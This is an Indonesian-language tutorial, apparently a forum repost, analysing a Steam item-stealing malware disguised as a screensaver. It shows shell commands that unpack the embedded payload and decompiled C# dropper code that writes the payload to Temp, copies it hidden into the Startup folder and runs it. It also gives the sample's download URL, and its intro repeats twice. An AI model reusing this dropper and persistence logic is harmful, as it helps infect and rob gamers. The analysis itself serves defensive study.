Tutorial ini merupakan analisis singkat terhadap malware yang menyamar sebagai screensaver dan memanfaatkan fitur chat pada Steam untuk menyebar dan melakukan transfer item dari akun Steam milik korban ke akun Steam milik pembuat malware tersebut. Berdasarkan analisis singkat, diperoleh informasi bahwa malware tersebut dibuat menggunakan visual basic dotnet dan diproteksi menggunakan dotnet reactor.
Jika kamu sering main DOTA2, CS:GO dan game lainnya yang memakai steam account, silahkan lebih hati-hati. Malware ini akan men-transfer / trade semua item kamu kepada account yang akan dijelaskan dibawah ini dan mengirimkan link bervirus tersebut kepada semua friendlist kamu.
Banyak kejadian seperti screenshot dibawah ini yang sering kamu temukan dan akan ditemukan dan mungkin belum tau supaya kamu tetap waspada :
Sebenarnya isinya seperti berikut:
Mari kita analisa:
CARA PERTAMA
Cara pertama yang akan digunakan adalah static analysis dan hanya mencakup proses dekripsi dan disassembly file yang ter-embed pada malware tersebut. Pada bagian ini, penulis menggunakan sistem operasi GNU/Linux.
CARA KEDUA
Cara kedua ini dilakukan pada sistem operasi Microsoft Windows di dalam virtual machine dan dengan bantuan beberapa perangkat lunak untuk reverse engineering diantaranya ILSpy dan .Net Tools. Perlu dicatat, aturan standard untuk melakukan analisis terhadap file yang berbahaya termasuk malware adalah dengan menggunakan virtual machine atau semacamnya dan sebisa mungkin tidak terhubung dengan jaringan.
Sumber : http://rndc.or.id/wiki/index.php?title=Analisis_Singkat_Malware_Steam_Stealer
Analisis oleh drubizca FB: https://www.facebook.com/drubicza
Referensi:
http://en.wikipedia.org/wiki/List_of_CIL_instructions
http://www.eziriz.com/dotnet_reactor.htm
http://dotnetprotector.pvlog.com/Tools.aspx
http://ilspy.net/
http://pid.gamecopyworld.com/
Jika kamu sering main DOTA2, CS:GO dan game lainnya yang memakai steam account, silahkan lebih hati-hati. Malware ini akan men-transfer / trade semua item kamu kepada account yang akan dijelaskan dibawah ini dan mengirimkan link bervirus tersebut kepada semua friendlist kamu.
Banyak kejadian seperti screenshot dibawah ini yang sering kamu temukan dan akan ditemukan dan mungkin belum tau supaya kamu tetap waspada :
Sebenarnya isinya seperti berikut:
Mari kita analisa:
CARA PERTAMA
Cara pertama yang akan digunakan adalah static analysis dan hanya mencakup proses dekripsi dan disassembly file yang ter-embed pada malware tersebut. Pada bagian ini, penulis menggunakan sistem operasi GNU/Linux.
- Pertama, unduh sample malwarenya pada URL: http://screenshost.ru/image_047.jpg (kemungkinan source sudah dihapus / broken link 404)
- URL tersebut akan mengarahkan pada file steam-image_047.scr dan berikut ini adalah hasil identifikasinya:
Code:
% file steam-image_047.scr
steam-image_047.scr: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
- Gunakan strings untuk mencari printable string pada malware tersebut, makan pada bagian akhir akan terlihat baris yang cukup panjang di dalam atribut XML description:
Code:
% strings steam-image_047.scr
...snip...
<description>\\1||eslaF||seY||exe.relaetSmaetS||pmeT||AAgXAswCR23D/7zP/ ... </description>
- Bisa terlihat bahwa ada beberapa bagian yang dipisahkan oleh karakter ||. Jika ke-5 bagian awal pada baris tersebut dibalik maka akan menjadi kalimat yang mudah dibaca. Caranya adalah sebagai berikut:
Code:
% echo -n '\\1||eslaF||seY||exe.relaetSmaetS||pmeT' | rev
Temp||SteamStealer.exe||Yes||False||1\
- Dari sini, dapat ditarik kesimpulan sementara bahwa malware ini akan membaca atau menulis file yang bernama SteamStealer.exe pada direktori temporer (Temp). Adapun bagian ke-6 dari baris di atas, jika dibalik maka akan menghasilkan string yang di-encode menggunakan base64. Dan setelah di-decode maka hasilnya berupa file yang dikompres menggunakan gzip:
Code:
% file SteamStealer
SteamStealer: gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT)
- Selanjutnya, ubah nama filenya agar dapat diekstrak menggunakan gunzip:
Code:
% mv SteamStealer SteamStealer.gz && gunzip SteamStealer.gz
- Periksa file yang telah diekstrak:
Code:
% file SteamStealer
SteamStealer: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
- Langkah terakhir adalah menggunakan monodis (mono CIL disassembler) untuk melakukan disassembly:
Code:
% monodis SteamStealer | head -10
.assembly extern mscorlib
{
.ver 2:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
.assembly extern System
{
.ver 2:0:0:0
.publickeytoken = (B7 7A 5C 56 19 34 E0 89 ) // .z\V.4..
}
...snip...
- Langkah di atas dapat disingkat dengan menggunakan oneliner seperti ini:
Code:
% strings steam-image_047.scr | grep '<description>.*</description>' | sed 's/\(<description>\|<\/description>\)//g' | \
cut -b 44- | rev | base64 -d | gunzip > SteamStealer.exe && monodis SteamStealer.exe
- Anda juga dapat menggunakan disassembler/decompiler favorit Anda untuk proses dekompilasi/disassembly misalnya IDAPro.
CARA KEDUA
Cara kedua ini dilakukan pada sistem operasi Microsoft Windows di dalam virtual machine dan dengan bantuan beberapa perangkat lunak untuk reverse engineering diantaranya ILSpy dan .Net Tools. Perlu dicatat, aturan standard untuk melakukan analisis terhadap file yang berbahaya termasuk malware adalah dengan menggunakan virtual machine atau semacamnya dan sebisa mungkin tidak terhubung dengan jaringan.
- Langkah pertama adalah melakukan scanning terhadap file steam-image_047.exe menggunakan protection_id, dan hasilnya adalah sebagai berikut:
Code:
-=[ ProtectionID v0.6.6.6 OCTOBER]=-
(c) 2003-2014 CDKiLLER & TippeX
Build 31/10/14-07:38:06
Ready...
Scanning -> C:\Documents and Settings\Administrator\My Documents\steam-image_047.exe
File Type : 32-Bit Exe (Subsystem : Win GUI / 2), Size : 338432 (052A00h) Byte(s)
Compilation TimeStamp : 0x54298F2A -> Mon 29th Sep 2014 16:56:10 (GMT)
[File Heuristics] -> Flag #1 : 00000100000001001101000000110000 (0x0404D030)
[Entrypoint Section Entropy] : 5.64 (section #0) ".text " | Size : 0xAEA4 (44708) byte(s)
[DllCharacteristics] -> Flag : (0x8540) -> ASLR | DEP | NOSEH | TSA
[SectionCount] 4 (0x4) | ImageSize 0x5A000 (368640) byte(s)
[VersionInfo] Product Name : BSCInk
[VersionInfo] Product Version : 1.0.0.0
[VersionInfo] File Description : BSCInk
[VersionInfo] File Version : 1.0.0.0
[VersionInfo] Original FileName : MoInk.exe
[VersionInfo] Internal Name : MoInk.exe
[VersionInfo] Legal Copyrights : Copyright © 2014
[Debug Info] (record 1 of 1) (file offset 0xB206)
Characteristics : 0x0 | TimeDateStamp : 0x0 | MajorVer : 0 / MinorVer : 0 -> (0.0)
Type : 2 (0x2) -> CodeView | Size : 0x22 (34)
AddressOfRawData : 0xCE22 | PointerToRawData : 0xB222
CvSig : 0x53445352 | SigGuid FF2F1F5F-95CB-4C07-A34C32D41359E1C3
Age : 0x1 | Pdb : MoInk.pdb
[!] [.net scan core] dotNetReactor detected!
[CompilerDetect] -> .NET
[.] .Net Info -> v 2.5 | x86 managed (/platform:x86) | Flags : 0x00000003 -> COMIMAGE_FLAGS_ILONLY | COMIMAGE_FLAGS_32BITREQUIRED |
[.] Entrypoint (Token) : 0x06000002
[.] MetaData RVA : 0x00007444 | Size : 0x00003676 (13942)
[.] MetaData->Version 1.1 -> v2.0.50727
[.] Flags : 0x0 | Streams : 0x7 (7) unusual (its usually 5)
- Scan Took : 0.157 Second(s) [00000009Dh (157) tick(s)] [497 of 569 scan(s) done]
- Dari hasil deteksi di atas, bisa terlihat bahwa malware tersebut diproteksi menggunakan dotNetReactor dan untuk mempermudah proses analisis, maka akan digunakan aplikasi PvLog DeObfuscator yang merupakan bagian dari .Net Tools. Jalankan PvLog DeObfuscator dan pada bagianAssembly to DeObfuscate isi dengan path ke file malware steam-image_047.exe dengan menekan tombol browse. Untuk bagian Target Directory akan diisi secara otomatis oleh PvLog DeObfuscator. Selanjutnya, centang bagian Run Static Constructors, DeObfuscate Names danDeObfuscate Public Names lalu tekan tombol Go maka hasil deobfuscate akan disimpan pada sub direktori Deobfuscated dan berikut ini adalah log yang ditampilkan:
Code:
PvLog .NET DeObfuscator v1.0.3736.28078
C:\Documents and Settings\Administrator\My Documents\steam-image_047.exe
Reading Streams
Loading Metadata Tables
Loading Names
Processing String Entries
Processing Member References
Building Type Graph - MethodSemantics - NestedClass - Graph Root - PropertyMap - EventMap - Members - FieldRVAs
Building Type Names
Managed resources
Loading Assembly by Reflection
Calling static constructors
Loading Method Bodies
optimizing bodies
Deobfuscation finished
- Sebagai catatan, pada proses di atas akan muncul sebuah pesan bahwa malware steam-image_047.exe tersebut diproteksi menggunakan dotnet reactor yang belum diregistrasi. Anda cukup menekan tombol OK ketika pesan tersebut muncul.
- Selanjutnya, jalankan aplikasi ILSpy dan buka file yang sudah di-deobfuscate pada sub direktori DeObfuscated, maka pada panel sebelah kiri di bagian tree view steam-image_047 dapat terlihat namespace MoInk. Pada bagian MoInk -> Class3 -> Method4 dapat terlihat proses yang kurang lebih sama dengan yang telah dijelaskan pada cara pertama di atas. Berikut ini adalah potongan kode Method4 tersebut:
Code:
// MoInk.Class3
[MethodImpl(MethodImplOptions.NoInlining)]
private static void Method4()
{
string text = File.ReadAllText(Process.GetCurrentProcess().MainModule.FileName);
string text2 = "<description>";
string text3 = "</description>";
string expression = Class2.Method1(Class3.Method3(ref text, ref text2, ref text3));
Class3.Field1 = Strings.Split(expression, "\\\\", -1, CompareMethod.Binary);
for (int i = 0; i <= Class3.Field1.Length - 1; i++)
{
if (!string.IsNullOrEmpty(Class3.Field1[i]))
{
try
{
string[] array = Strings.Split(Class3.Field1[i], "||", -1, CompareMethod.Binary);
string s = array[0];
string text4 = Interaction.Environ(array[1]) + "\\" + array[2];
string a = array[3];
string a2 = array[4];
int millisecondsTimeout = Convert.ToInt32(array[5]) * 1000;
if (File.Exists(text4))
{
File.Delete(text4);
}
File.WriteAllBytes(text4, Class3.Method1(Convert.FromBase64String(s)));
if (a2 == "True")
{
string text5 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + array[2];
if (File.Exists(text5))
{
File.Delete(text5);
}
File.Copy(text4, text5);
File.SetAttributes(text5, FileAttributes.Hidden);
}
Thread.Sleep(millisecondsTimeout);
if (a == "Yes")
{
Process.Start(text4);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
}
}
}
Process.GetCurrentProcess().Kill();
}
- Dari sini, Anda dapat melanjutkan proses analisis dan mempelajari cara kerja malware tersebut dengan melihat hasil dekompilasi setiap method.
Sumber : http://rndc.or.id/wiki/index.php?title=Analisis_Singkat_Malware_Steam_Stealer
Analisis oleh drubizca FB: https://www.facebook.com/drubicza
Referensi:
http://en.wikipedia.org/wiki/List_of_CIL_instructions
http://www.eziriz.com/dotnet_reactor.htm
http://dotnetprotector.pvlog.com/Tools.aspx
http://ilspy.net/
http://pid.gamecopyworld.com/
Last edited: